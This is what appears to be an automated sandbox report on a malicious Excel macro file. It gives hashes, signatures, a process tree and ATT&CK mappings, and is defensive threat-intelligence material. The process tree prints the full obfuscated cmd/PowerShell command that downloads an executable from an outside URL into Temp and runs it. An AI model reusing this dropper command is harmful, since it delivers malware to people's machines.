Analysis

  • max time kernel
    132s
  • max time network
    131s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    18-01-2021 07:20

General

  • Target

    New Iquiry.xlsm

  • Size

    143KB

  • MD5

    e815ac129a6c26ba513742fe3e834835

  • SHA1

    0fff500ea03bbac5d9b439cd48ba386739eec351

  • SHA256

    8c30635fa8cc452d445c345ac855339c23b3845dfe9d3cc91550d17771459a0e

  • SHA512

    24008227c5455d7e35acb36a539964979cd63a33f1e81e7a8c51f3417dc1fdf08f5c2aa48e7ab058f96934c81acb7aba4ebd59ea738750bed66bd6bf3a39b5ce

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://hosseinsoltani.ir/BROWNOBC.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 18 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\New Iquiry.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4804
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start p^owersh^el^l -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/BROWNOBC.exe',($env:Temp)+'\yHYWC.bat')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/BROWNOBC.exe',($env:Temp)+'\yHYWC.bat')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1728
    • C:\Users\Admin\AppData\Local\Temp\yHYWC.bat
      C:\Users\Admin\AppData\Local\Temp\yHYWC.bat
      2⤵
      • Executes dropped EXE
      PID:3972

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\yHYWC.bat
    MD5

    ca9cc86fd540cf7a0149e4d440bfdaf1

    SHA1

    773ee1ed86a1a43fd69315489a8b4aea711be1e7

    SHA256

    4068c9a37394e76960df6bb73d88760be0371af77a12816346f241d5b1ce1233

    SHA512

    f4570a1078a640da8fac1927de7439e751d1df6a88c9483f7c8fbc2410ea6104d2f2192671bbeca1927c83ab0c1b3af665a865fe4e47635ba8e7c779d89515b8

  • C:\Users\Admin\AppData\Local\Temp\yHYWC.bat
    MD5

    ca9cc86fd540cf7a0149e4d440bfdaf1

    SHA1

    773ee1ed86a1a43fd69315489a8b4aea711be1e7

    SHA256

    4068c9a37394e76960df6bb73d88760be0371af77a12816346f241d5b1ce1233

    SHA512

    f4570a1078a640da8fac1927de7439e751d1df6a88c9483f7c8fbc2410ea6104d2f2192671bbeca1927c83ab0c1b3af665a865fe4e47635ba8e7c779d89515b8

  • memory/1344-7-0x0000000000000000-mapping.dmp
  • memory/1728-14-0x00000195AD206000-0x00000195AD208000-memory.dmp
    Filesize

    8KB

  • memory/1728-12-0x00000195AD200000-0x00000195AD202000-memory.dmp
    Filesize

    8KB

  • memory/1728-13-0x00000195AD203000-0x00000195AD205000-memory.dmp
    Filesize

    8KB

  • memory/1728-8-0x0000000000000000-mapping.dmp
  • memory/1728-9-0x00007FFA581A0000-0x00007FFA58B8C000-memory.dmp
    Filesize

    9.9MB

  • memory/1728-10-0x00000195C58F0000-0x00000195C58F1000-memory.dmp
    Filesize

    4KB

  • memory/1728-11-0x00000195C5AA0000-0x00000195C5AA1000-memory.dmp
    Filesize

    4KB

  • memory/3972-16-0x0000000000000000-mapping.dmp
  • memory/3972-23-0x0000000005470000-0x0000000005471000-memory.dmp
    Filesize

    4KB

  • memory/3972-26-0x00000000055F0000-0x00000000055F1000-memory.dmp
    Filesize

    4KB

  • memory/3972-25-0x0000000002D50000-0x0000000002D80000-memory.dmp
    Filesize

    192KB

  • memory/3972-24-0x0000000002D20000-0x0000000002D21000-memory.dmp
    Filesize

    4KB

  • memory/3972-22-0x0000000005870000-0x0000000005871000-memory.dmp
    Filesize

    4KB

  • memory/3972-18-0x00000000739D0000-0x00000000740BE000-memory.dmp
    Filesize

    6.9MB

  • memory/3972-19-0x00000000008B0000-0x00000000008B1000-memory.dmp
    Filesize

    4KB

  • memory/3972-21-0x00000000052D0000-0x00000000052D1000-memory.dmp
    Filesize

    4KB

  • memory/4804-3-0x00007FFA3D590000-0x00007FFA3D5A0000-memory.dmp
    Filesize

    64KB

  • memory/4804-5-0x00007FFA613D0000-0x00007FFA61A07000-memory.dmp
    Filesize

    6.2MB

  • memory/4804-6-0x00007FFA3D590000-0x00007FFA3D5A0000-memory.dmp
    Filesize

    64KB

  • memory/4804-4-0x00007FFA3D590000-0x00007FFA3D5A0000-memory.dmp
    Filesize

    64KB

  • memory/4804-2-0x00007FFA3D590000-0x00007FFA3D5A0000-memory.dmp
    Filesize

    64KB